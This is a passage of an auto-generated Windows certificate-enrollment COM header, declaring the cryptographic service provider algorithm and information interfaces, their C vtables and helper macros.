AlgorithmOperationFlags\n    {\tXCN_NCRYPT_NO_OPERATION\t= 0,\n\tXCN_NCRYPT_CIPHER_OPERATION\t= 0x1,\n\tXCN_NCRYPT_HASH_OPERATION\t= 0x2,\n\tXCN_NCRYPT_ASYMMETRIC_ENCRYPTION_OPERATION\t= 0x4,\n\tXCN_NCRYPT_SECRET_AGREEMENT_OPERATION\t= 0x8,\n\tXCN_NCRYPT_SIGNATURE_OPERATION\t= 0x10,\n\tXCN_NCRYPT_RNG_OPERATION\t= 0x20,\n\tXCN_NCRYPT_ANY_ASYMMETRIC_OPERATION\t= ( ( 0x4 | 0x8 )  | 0x10 ) ,\n\tXCN_NCRYPT_PREFER_SIGNATURE_ONLY_OPERATION\t= 0x200000,\n\tXCN_NCRYPT_PREFER_NON_SIGNATURE_OPERATION\t= 0x400000,\n\tXCN_NCRYPT_EXACT_MATCH_OPERATION\t= 0x800000,\n\tXCN_NCRYPT_PREFERENCE_MASK_OPERATION\t= 0xe00000\n    } \tAlgorithmOperationFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0005_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0005_v0_0_s_ifspec;\n\n#ifndef __ICspAlgorithm_INTERFACE_DEFINED__\n#define __ICspAlgorithm_INTERFACE_DEFINED__\n\n/* interface ICspAlgorithm */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspAlgorithm;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab305-217d-11da-b2a4-000e7bbb2b09\")\n    ICspAlgorithm : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE GetAlgorithmOid( \n            /* [in] */ LONG Length,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_DefaultLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_IncrementLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_LongName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Valid( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_MaxLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_MinLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out AlgorithmType *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Operations( \n            /* [retval][out] */ __RPC__out AlgorithmOperationFlags *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICspAlgorithmVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspAlgorithm * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspAlgorithm * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspAlgorithm * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspAlgorithm * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *GetAlgorithmOid )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ LONG Length,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_DefaultLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_IncrementLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_LongName )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Valid )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MaxLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MinLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out AlgorithmType *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Operations )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out AlgorithmOperationFlags *pValue);\n        \n        END_INTERFACE\n    } ICspAlgorithmVtbl;\n\n    interface ICspAlgorithm\n    {\n        CONST_VTBL struct ICspAlgorithmVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspAlgorithm_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspAlgorithm_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspAlgorithm_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspAlgorithm_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspAlgorithm_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspAlgorithm_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspAlgorithm_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspAlgorithm_GetAlgorithmOid(This,Length,AlgFlags,ppValue)\t\\\n    ( (This)->lpVtbl -> GetAlgorithmOid(This,Length,AlgFlags,ppValue) ) \n\n#define ICspAlgorithm_get_DefaultLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DefaultLength(This,pValue) ) \n\n#define ICspAlgorithm_get_IncrementLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IncrementLength(This,pValue) ) \n\n#define ICspAlgorithm_get_LongName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_LongName(This,pValue) ) \n\n#define ICspAlgorithm_get_Valid(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Valid(This,pValue) ) \n\n#define ICspAlgorithm_get_MaxLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MaxLength(This,pValue) ) \n\n#define ICspAlgorithm_get_MinLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MinLength(This,pValue) ) \n\n#define ICspAlgorithm_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define ICspAlgorithm_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define ICspAlgorithm_get_Operations(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Operations(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspAlgorithm_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspAlgorithms_INTERFACE_DEFINED__\n#define __ICspAlgorithms_INTERFACE_DEFINED__\n\n/* interface ICspAlgorithms */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspAlgorithms;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab306-217d-11da-b2a4-000e7bbb2b09\")\n    ICspAlgorithms : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICspAlgorithm *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IndexByObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICspAlgorithmsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspAlgorithms * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspAlgorithms * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspAlgorithms * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspAlgorithms * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICspAlgorithms * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICspAlgorithms * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in_opt ICspAlgorithm *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICspAlgorithms * This);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IndexByObjectId )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        END_INTERFACE\n    } ICspAlgorithmsVtbl;\n\n    interface ICspAlgorithms\n    {\n        CONST_VTBL struct ICspAlgorithmsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspAlgorithms_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspAlgorithms_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspAlgorithms_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspAlgorithms_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspAlgorithms_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspAlgorithms_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspAlgorithms_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspAlgorithms_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICspAlgorithms_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICspAlgorithms_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICspAlgorithms_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICspAlgorithms_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICspAlgorithms_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICspAlgorithms_get_ItemByName(This,strName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strName,ppValue) ) \n\n#define ICspAlgorithms_get_IndexByObjectId(This,pObjectId,pIndex)\t\\\n    ( (This)->lpVtbl -> get_IndexByObjectId(This,pObjectId,pIndex) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspAlgorithms_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0007 */\n/* [local] */ \n\ntypedef \nenum X509KeySpec\n    {\tXCN_AT_NONE\t= 0,\n\tXCN_AT_KEYEXCHANGE\t= 1,\n\tXCN_AT_SIGNATURE\t= 2\n    } \tX509KeySpec;\n\n\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0007_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0007_v0_0_s_ifspec;\n\n#ifndef __ICspInformation_INTERFACE_DEFINED__\n#define __ICspInformation_INTERFACE_DEFINED__\n\n/* interface ICspInformation */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspInformation;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab307-217d-11da-b2a4-000e7bbb2b09\")\n    ICspInformation : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromName( \n            /* [in] */ __RPC__in BSTR strName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromType( \n            /* [in] */ X509ProviderType Type,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ VARIANT_BOOL MachineContext) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspAlgorithms( \n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_HasHardwareRandomNumberGenerator( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsHardwareDevice( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsRemovable( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsSoftwareDevice( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Valid( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MaxKeyContainerNameLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out X509ProviderType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Version( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeySpec( \n            /* [retval][out] */ __RPC__out X509KeySpec *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsSmartCard( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetDefaultSecurityDescriptor( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_LegacyCsp( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCspStatusFromOperations( \n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICspInformationVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspInformation * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspInformation * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspInformation * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspInformation * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromName )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in BSTR strName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromType )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ X509ProviderType Type,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ VARIANT_BOOL MachineContext);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspAlgorithms )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_HasHardwareRandomNumberGenerator )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsHardwareDevice )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsRemovable )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsSoftwareDevice )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Valid )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MaxKeyContainerNameLength )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out X509ProviderType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Version )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeySpec )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out X509KeySpec *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsSmartCard )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDefaultSecurityDescriptor )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_LegacyCsp )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatusFromOperations )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        END_INTERFACE\n    } ICspInformationVtbl;\n\n    interface ICspInformation\n    {\n        CONST_VTBL struct ICspInformationVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspInformation_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspInformation_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspInformation_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspInformation_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspInformation_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspInformation_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspInformation_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspInformation_InitializeFromName(This,strName)\t\\\n    ( (This)->lpVtbl -> InitializeFromName(This,strName) ) \n\n#define ICspInformation_InitializeFromType(This,Type,pAlgorithm,MachineContext)\t\\\n    ( (This)->lpVtbl -> InitializeFromType(This,Type,pAlgorithm,MachineContext) ) \n\n#define ICspInformation_get_CspAlgorithms(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspAlgorithms(This,ppValue) ) \n\n#define ICspInformation_get_HasHardwareRandomNumberGenerator(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_HasHardwareRandomNumberGenerator(This,pValue) ) \n\n#define ICspInformation_get_IsHardwareDevice(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsHardwareDevice(This,pValue) ) \n\n#define ICspInformation_get_IsRemovable(This,pValue)\t\\\n    ( (This)->lpVtbl -> 